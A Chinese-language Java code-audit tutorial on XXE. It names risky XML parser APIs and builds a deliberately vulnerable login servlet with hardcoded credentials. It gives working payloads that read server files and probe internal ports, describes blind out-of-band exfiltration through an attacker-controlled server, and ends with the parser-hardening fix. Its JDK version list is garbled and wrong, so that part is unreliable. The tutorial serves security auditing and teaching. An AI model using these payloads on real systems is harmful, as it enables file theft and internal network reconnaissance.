java代码审计9之XXE

文章目录

  • 1、简介
  • 2、 java XXE审计函数
  • 3、漏洞
      • 3.1、正常的业务
      • 3.2、有回显的情况
      • 3.3、无回显的情况
      • 3.4、修复

之前的文章,
php代码审计9之XXE

1、简介

XXE(XML外部实体注⼊,XML External Entity) ,在应⽤程序解析XML输⼊时,当允许引⽤外部实体时,可构造恶意内容,导致读取任意⽂件、探测内⽹端⼝、攻击内⽹⽹站、发起DoS拒绝服务攻击、 执⾏系统命令等。 

Java中的XXE⽀持sun.net.www.protocol ⾥的所有协议:

http,https,file,ftp,mailto,jar, netdoc。⼀般利⽤file协议读取⽂件,利⽤http协议探测内⽹,

没有回显时可组合利⽤file协议和ftp协议来读取⽂件。

2、 java XXE审计函数

重点关注下边这些函数,

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReaderorg.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactoryorg.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilderorg.apache.commons.digester3.Digester
解析XML的⽅法越来越多,java中常⻅有四种,即:DOM、DOM4J、JDOM 和SAX。下⾯以这四种为例展示java的XXE漏洞

3、漏洞

3.1、正常的业务

模拟使用xml来传输登录信息,这是登录成功的情况,返回1

在这里插入图片描述

登录失败,返回0,

在这里插入图片描述

具体测试代码,
package com.example;import org.w3c.dom.Document;
import org.w3c.dom.NodeList;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;@WebServlet("/xxe1")
public class xxe1Servlet extends HttpServlet {private static final String USERNAME = "admin";//账号private static final String PASSWORD = "admin";//密码protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {String result="";try {//DOM Read XMLDocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();/*       dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);*/DocumentBuilder db = dbf.newDocumentBuilder();Document doc = db.parse(request.getInputStream());String username = getValueByTagName(doc,"username");String password = getValueByTagName(doc,"password");if(username.equals(USERNAME) && password.equals(PASSWORD)){result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);}else{result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);}} catch (ParserConfigurationException | org.xml.sax.SAXException e) {e.printStackTrace();result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());}response.setContentType("text/xml;charset=UTF-8");response.getWriter().append(result);}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {doPost(request, response);}/**** @param doc 文档* @param tagName 标签名* @return 标签值*/public static String getValueByTagName(Document doc, String tagName){if(doc == null || tagName.equals(null)){return "";}NodeList pl = doc.getElementsByTagName(tagName);if(pl != null && pl.getLength() > 0){return pl.item(0).getTextContent();}return "";}
}

3.2、有回显的情况

通过上边的代码,可以看到,后端将传入的admin参数进行了回显输出,下边是ftp、netdoc、http协议分别进行文件读取和内网端口探测的例子此时就可以通过ftp协议读取服务器内容,然后利用用户名输出回显,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123456</password></user>

通过netdoc协议读取,

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "netdoc:///C:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123456</password></user>

在这里插入图片描述
类似的可以通过http协议探测内网,

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "http://127.0.0.1:8082">
]>
<user><username>&xxe;</username><password>123456</password></user>
开放的端口,会返回一些内容,且响应较快,

在这里插入图片描述

未开放的端口,返回报错信息,且响应较慢,

在这里插入图片描述

3.3、无回显的情况

该方法的前提是,目标机器有出网权限。直接vps起服务,让目标服务器来请求就ok了,建议实战使用类似的,也可以直接让目标访问dnslog,实战不建议,会引发ioc的告警

在这里插入图片描述

上边的方式仅仅是探测到目标存在XXE,如何将读取的内容传递过来呢,这里就是Java的外带只有外带一行数据,无法像php一样,外带很多数据,参考使用脚本,https://github.com/LandGrey/xxe-ftp-server

除非jdk版本小于 7u141 和 小于 8u162;具体有哪些版本

JDK版本号的命名规则是:
JDK1.x、JDK2.x、JDK3.x、JDK4.x、JDK5.x、JDK6.x、JDK7.x、JDK8.x、JDK9.x、JDK10.x和JDK11.x。因此,
小于7u141的版本有:
JDK 6u20, JDK 6u22, JDK 6u23, JDK 6u25, JDK 6u26, JDK 6u27, JDK 6u28, JDK 6u29, JDK 6u30, JDK 6u31;
小于8u162的版本有:JDK 7u141。

3.4、修复

两行代码,禁用外部实体,

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/59963.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

恶意扩展可滥用 VS Code 漏洞窃取认证令牌

微软的 Visual Studio Code (VS Code) 代码编辑器存在一个漏洞&#xff0c;允许恶意扩展程序检索 Windows、Linux 和 macOS 中存储的身份验证令牌。 这些令牌用于集成各种第三方服务和 API&#xff0c;如 Git、GitHub 和其他编码平台&#xff0c;因此窃取这些令牌可能会对数据…

复习之selinux的管理

一、什么是selinux? SELinux&#xff0c;Security Enhanced Linux 的缩写&#xff0c;也就是安全强化的 Linux&#xff0c;是由美国国家安全局&#xff08;NSA&#xff09;联合其他安全机构&#xff08;比如 SCC 公司&#xff09;共同开发的&#xff0c;旨在增强传统 Linux 操…

Pytorch深度学习-----神经网络模型的保存与加载(VGG16模型)

系列文章目录 PyTorch深度学习——Anaconda和PyTorch安装 Pytorch深度学习-----数据模块Dataset类 Pytorch深度学习------TensorBoard的使用 Pytorch深度学习------Torchvision中Transforms的使用&#xff08;ToTensor&#xff0c;Normalize&#xff0c;Resize &#xff0c;Co…

大数据技术之Hadoop:HDFS集群安装篇(三)

目录 分布式文件系统HDFS安装篇 一、为什么海量数据需要分布式存储 二、 分布式的基础架构分析 三、 HDFS的基础架构 四 HDFS集群环境部署 4.1 下载安装包 4.2 集群规划 4.3 上传解压 4.4 配置HDFS集群 4.5 准备数据目录 4.6 分发hadoop到其他服务器 4.7 配置环境变…

Linux驱动之设备树添加蜂鸣器驱动

目录 一、蜂鸣器简介 二、硬件原理分析 三、蜂鸣器驱动原理 四、开发环境 五、修改设备树文件 1、添加 pinctrl 节点 2、添加 BEEP 设备节点 3、检查 PIN 是否被其他外设使用 六、蜂鸣器驱动程序编写 七、测试程序编写 八、运行验证 在 I.MX6U-ALPHA 开发板上有一个有源…

《合成孔径雷达成像算法与实现》Figure3.6

代码复现如下&#xff1a; clc clear all close all%参数设置 TBP 100; %时间带宽积 T 10e-6; %脉冲持续时间%参数计算 B TBP/T; …

zadig安装驱动潜在风险与解决策略

zadig安装驱动潜在风险与解决策略 ✨没事不要闲着乱打驱动&#xff0c;能正常使用的情况下&#xff0c;不要轻易或随意去乱打驱动&#xff0c;可能会导致新的驱动对已有的设备不兼容的问题。✨&#x1f530;特别说明&#xff1a;本文介绍的方法&#xff0c;并不能包治百病&…

Java EE 突击 9 - Spring Boot 日志文件

Spring Boot 日志文件 学习目标一 . 日志有什么用1.1 日志格式说明 二 . 自定义日志打印2.1 得到日志对象2.2 使用日志对象提供的方法 , 输出自定义的日志内容2.3 日志的级别 三 . 日志持久化3.1 在配置文件里面设置日志名称3.2 设置日志的保存目录 四 . 日志级别的设置五 . 简…

虹科方案 | 成都大运会进行时,保障大型活动无线电安全需要…

成都大运会 7月28日&#xff0c;备受关注的第31届世界大学生夏季运动会在成都正式开幕。据悉&#xff0c;这是全球首个5G加持的智慧大运会&#xff0c;也是众多成熟信息技术的综合“应用场”。使用基于5G三千兆、云网、8K超高清视频等技术&#xff0c;在比赛现场搭建多路8K摄像…

【算法|数组】双指针

算法|数组——双指针 引入 给你一个按 非递减顺序 排序的整数数组 nums&#xff0c;返回 每个数字的平方 组成的新数组&#xff0c;要求也按 非递减顺序 排序。 示例 1&#xff1a; 输入&#xff1a;nums [-4,-1,0,3,10] 输出&#xff1a;[0,1,9,16,100] 解释&#xff1a;…

爬虫014_文件操作_打开关闭_读写_序列化_反序列化---python工作笔记033

报错,没有指定路径,没有指定路径无法创建文件 这样可以在当前目录下创建一个可写的文件 可以看到找到刚才生成的文件,看看内容

企业服务器数据库中了devos勒索病毒怎么办如何解决预防勒索病毒攻击

随着科学技术的不断发展&#xff0c;计算机可以帮助我们完成很多重要的工作&#xff0c;但是随之而来的网络威胁也不断提升。近期&#xff0c;我们收到很多企业的求助&#xff0c;企业的服务器数据库遭到了devos勒索病毒攻击&#xff0c;导致系统内部的许多重要数据被加密无法正…